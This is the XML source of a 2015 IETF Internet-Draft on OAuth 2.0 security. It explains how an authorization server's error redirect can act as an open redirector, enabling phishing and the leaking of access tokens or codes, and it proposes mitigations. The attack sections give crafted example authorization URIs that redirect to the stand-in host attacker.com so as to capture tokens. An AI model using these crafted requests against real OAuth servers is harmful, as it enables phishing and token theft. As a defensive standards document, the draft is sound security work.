<?xml version="1.0" encoding="us-ascii"?>
<?xml-stylesheet type='text/xsl' href='http://xml.resource.org/authoring/rfc2629.xslt' ?>
<!DOCTYPE rfc SYSTEM "rfc2629.dtd">

<?rfc toc="yes"?>
<?rfc tocompact="yes"?>
<?rfc tocdepth="4"?>
<?rfc tocindent="yes"?>
<?rfc symrefs="yes"?>
<?rfc sortrefs="yes"?>
<?rfc comments="yes"?>
<?rfc inline="yes"?>
<?rfc compact="yes"?>
<?rfc subcompact="no"?>

<rfc category="std" docName="draft-bradley-oauth-open-redirector-00.txt"
 ipr="trust200902">
 <front>
  <title abbrev="OAuth Open Redirector">OAuth 2.0 Security: OAuth Open Redirector</title>
  
<author fullname="John Bradley" initials="J." surname="Bradley">
      <organization abbrev="Ping Identity">Ping Identity</organization>
      <address>
	<email>ve7jtb@ve7jtb.com</email>
	<uri>http://www.thread-safe.com/</uri>
      </address>
    </author>
    
  <author fullname="Antonio Sanso" initials="A." surname="Sanso" role="editor">
    <organization>Adobe Systems</organization>
    <address>
      <email>asanso@adobe.com</email>
    </address>
  </author> 
   
  <author initials="H." surname="Tschofenig" fullname="Hannes Tschofenig">
    <organization></organization>
    <address>
      <email>Hannes.Tschofenig@gmx.net</email>
      <uri>http://www.tschofenig.priv.at</uri>
    </address>
  </author>
  
  <date day="21" month="January" year="2015" />
  
  <area>Security</area>
  <workgroup>OAuth Working Group</workgroup>
  <keyword>RFC</keyword>
  <keyword>Request for Comments</keyword>
  <keyword>I-D</keyword>
  <keyword>Internet-Draft</keyword>
  <keyword>OAuth</keyword>
  <keyword>Security</keyword>
  
  <abstract>
    <t>
      This document gives additional security considerations for OAuth,
      beyond those in the OAuth 2.0 specification and in the  OAuth 2.0 Threat Model and Security Considerations.
    </t>
  </abstract>
</front>

<middle>
  <section title="Introduction">
    <t>
      This document gives additional security considerations for OAuth,
      beyond those in the OAuth 2.0 specification <xref target="RFC6749"/> and in the
      OAuth 2.0 Threat Model and Security Considerations <xref target="RFC6819"/>.
      In particular focuses its attention on the risk of abuse the 
      <xref target="Terminology">Authorization Server (AS)</xref> as an open redirector.
      </t>
      <t>
      It contains the following content:        
    </t>
    <t> <?rfc subcompact="yes"?>
      <list style='symbols'>
        <t>
          Describes the Authorization Server Error Response as defined in <xref target="RFC6749"/>.
        </t>
        <t>
         Describes the risk of abuse the Authorization Server as an open redirector.
       </t>       
       <t>
         Gives some mitigation details on how to hinder the risk of open redirector in the 
         <spanx style="normal">AS</spanx>.
       </t>
     </list>
   </t>
   <?rfc subcompact="no"?>
   <t>
   </t>


   <section title="Notational Conventions" anchor="NotationalConventions">
    <t>The key words "MUST", "MUST NOT", "REQUIRED", "SHALL", "SHALL NOT",
      "SHOULD", "SHOULD NOT", "RECOMMENDED", "MAY", and "OPTIONAL" in this
      document are to be interpreted as described in RFC 2119 <xref target="RFC2119"/>.
    </t>
    <t>
      Unless otherwise noted, all the protocol parameter names and values are case sensitive.
    </t>
  </section>
  
      <section title="Terminology" anchor="Terminology">
      <t>
	<list style="hanging">

          <t hangText="Authorization Server (AS)">
	    <vspace/>
	    The server issuing access tokens to the client after successfully
        authenticating the resource owner and obtaining authorization.
	  </t>

          <t hangText="Redirection endpoint">
	    <vspace/>
	    Used by the authorization server to return
      responses containing authorization credentials to the client via
      the resource owner user-agent.
	  </t>
        </list>
      </t>
    </section>

</section>
<section title='Authorization Server Error Response' anchor="ASErrorResponse">
  <t>
    The OAuth 2.0 specification <xref target="RFC6749" /> defines the Error Response 
    associated with the Authorization Code Grant flow and the Implicit Grant flow. 
    Both flows use a redirection endpoint where the resource owner's user 
    agent is directed after the resource owner has completed interacting with the 
    authorization server.
    The redirection endpoint is also used in the error response scenario.
    As per <xref target="RFC6749"> RFC6749 Section 4.1.2.1 and 4.2.2.1 </xref>
    if the resource owner denies the access request or 
    if the request fails for reasons other than a missing or invalid redirection URI,
    the <spanx style="normal">AS</spanx> redirects the user-agent by
    sending the following HTTP response: <vspace blankLines="1"/>

    HTTP/1.1 302 Found
    Location: https://client.example.com/cb?error=access_denied
  </t>     

    <section title='Abuse: The Authorization Server As Open Redirector' anchor="ASOpenRedirector">
      <t>
        As described in <xref target="RFC6819" /> an attacker could utilize a user's 
        trust in an <spanx style="normal">AS</spanx> to launch a phishing attack. 
        The attack described here though is not mitigated using the countermeasures 
        listed in <xref target="RFC6819" />.
        In this scenario the attacker:
      </t>
      <t> 
        <?rfc subcompact="yes"?>
        <list style='symbols'>
          <t>
            Performs a client registration as per the core specification 
            <xref target="RFC6749" />. 
            The provided redirection URI is a malicious one e.g. 
            https://attacker.com (namely the one where the victim's user agent will 
            land without any validation)
            <vspace blankLines="1"/>
          </t>
          <t>
            Prepare a forged URI using the assumption that the <spanx style="normal">AS</spanx> 
            complies with the OAuth 2.0 specification <xref target="RFC6749" />.
            In particular with the <spanx style="normal">AS</spanx> Error Response described in the 
            previous section ( <xref target="ASErrorResponse" /> ). 
            As an example he can use a wrong or not existing scope e.g.
            <vspace blankLines="1"/>
            https://AUTHORIZATION_SERVER/authorize?response_type=code&amp;client_id=s6BhdRkqt3&amp;state=xyz&amp;redirect_uri=https%3A%2F%2Fattacker%2Ecom&amp;scope=INVALID_SCOPE
            <vspace blankLines="1"/>
          </t>
          <t>
            Attempt the pishing attack trying to have the victim clicking the forged URI 
            prepared on the previous step. Should the attack succeeds 
            the victim's user agent is redirected to https://attacker.com (all with any user interaction)
            The HTTP referer header will be set to the AS domain perhaps allowing manipulation of 
            the user.
          </t>
          
        </list>
      </t>
      <?rfc subcompact="no"?>
    </section>


    <section title='Security Compromise: The Authorization Server As Open Redirector' anchor="SCOpenRedirector">
      <t>
        The attacker can use a redirect error redirection to intercept redirect based
        protocol messages via the Referer header and URI fragment.
        In this scenario the attacker:
      </t>
      <t> 
        <?rfc subcompact="yes"?>
        <list style='symbols'>
          <t>
            Performs a registration of a malicious client as per the core specification 
            <xref target="RFC6749" />. 
            The provided redirection URI is a malicious one e.g. 
            https://attacker.com (This URI will capture the fragment and referrer header
            sent as part of the error)
            <vspace blankLines="1"/>
          </t>
          
          <t>Creates a invalid Authentication request URI for the malicious client.
          As an example he can use a wrong or not existing scope e.g.
            <vspace blankLines="1"/>
            https://AUTHORIZATION_SERVER/authorize?response_type=code&amp;client_id=malicious_client&amp;redirect_uri=https%3A%2F%2Fattacker%2Ecom&amp;scope=INVALID_SCOPE
            <vspace blankLines="1"/>
          
          </t>
          <t>
            Performs a OAuth Authorization request using the invalid Authorization request 
            as the redirect_uri.
            This works if the AS is pattern matching redirect_uri and has a public client 
            that shares the same domain as the AS.
          </t>
          </list>
          </t>
            <t>
            (line breaks for display only)
             <figure anchor="figure_malicious_request" 
             >
             <artwork><![CDATA[
https://AUTHORIZATION_SERVER/authorize?response_type=token
&client_id=good-client&scope=VALID_SCOPE
&redirect_uri=https%3A%2F%2AUTHORIZATION_SERVER%Fauthorize
%3Fresponse_type%3Dcode
%26client_id%3Dattacker-client-id
%26scope%3DINVALID_SCOPE
%26redirect_uri%3Dhttps%253A%252F%252Fattacker.com
    ]]></artwork>
         </figure>
            </t>
          <t>
            <list style='symbols'>
            <t>
            Receive the response redirected to https://attacker.Com
            </t>
            </list>
            </t>
        <t>
        The legitimate OAuth Authorization response will include an access token 
        in the URI fragment.
        </t>
            
        <t>
        Most web browsers will append the fragment to the URI sent in the location 
        header of a 302 response if no fragment is included in the location URI.
        </t>
        
        <t>If the Authorization request is code instead of token, the same technique is
        used, but the code is leaked by the browser in the referer header rather than 
        the fragment.
        </t>
        
        <t> 
        This causes the access token from a successful authorization to be leaked 
        across the redirect to the malicious client.  This is due to browser behaviour
        and not because the AS has included any information in the redirect URI other 
        than the error code.
        </t>
        <t>
        Protocols other than OAuth may be particularly vulnerable to this if they are
        only verifying the domain of the redirect.   Performing exact redirect URI 
        matching in OAuth will protect the AS, but not other protocols.
        </t>
        <t>
        It should be noted that a legitimate OAuth client registered with a AS might be
        compromised and used as a redirect target by an attacker, perhaps without the 
        knowledge of the client site.  This increases a the attack surface for a 
        <spanx style="normal">AS</spanx>. 
         </t>
       
    
      <?rfc subcompact="no"?>
    </section>
    <section title='Mitigation' anchor="SCMitigationOpenRedirector">
      <t>
        In order to defend against the attacks described in  
        <xref target="ASOpenRedirector" /> and <xref target="SCOpenRedirector" />
        the <spanx style="normal">AS</spanx> can either:
      </t>
      <t>
       <?rfc subcompact="yes"?>
       <list style='symbols'>
       
       <t>
          Respond with an HTTP 400 (Bad Request) status code.
          <vspace blankLines="1"/>
        </t>
       
       
       
       <t>Perform a redirect to an intermediate URI under the controll of the AS to clear
          referer information in the browser that may contain security token information.
          This page SHOULD provide notice to the resource owner that an error occurred,
          and request permission to redirect them to an external site.
          <vspace blankLines="1"/>
          
           If redirected, the fragment "#_=_" MUST be appended to the error redirect URI. 
           This prevents the browser 
       from reattaching the fragment from a previous URI to the new location URI.
       </t>
       
      </list>
    </t>
    <?rfc subcompact="no"?> 
  </section>
</section>

<section anchor="acks" title="Acknowledgements">
  <t>We would like to thank all the people that partecipated to the discussion, namely 
    Bill Burke, Hans Zandbelt, Justin P. Richer, Phil Hunt, Takahiko Kawasaki, Torsten Lodderstedt, Sergey Beryozkin. 
  </t>
</section>

</middle>

<back>
  <references title="Normative References">
    <?rfc include='http://xml.resource.org/public/rfc/bibxml/reference.RFC.2119.xml' ?>
    <?rfc include='http://xml.resource.org/public/rfc/bibxml/reference.RFC.6749.xml' ?>
    <?rfc include='http://xml.resource.org/public/rfc/bibxml/reference.RFC.6819.xml' ?>
  </references> 
  <section title="Document History" anchor="History">
    <t>
      [[ to be removed by the RFC Editor before publication as an RFC ]]
    </t>

    <t>
      -00
      <list style='symbols'>
        <t>
          Wrote the first draft.
        </t>
        <t>Changed Document name to conform to WG naming convention </t>
        <t>Added Section on redirect leaking security information </t>
        <t>Added Terminology section</t>
        <t>fixed file name</t>
        <t>cleaned up mitigations a bit</t>
      </list>
    </t>
  </section>
</back>
</rfc>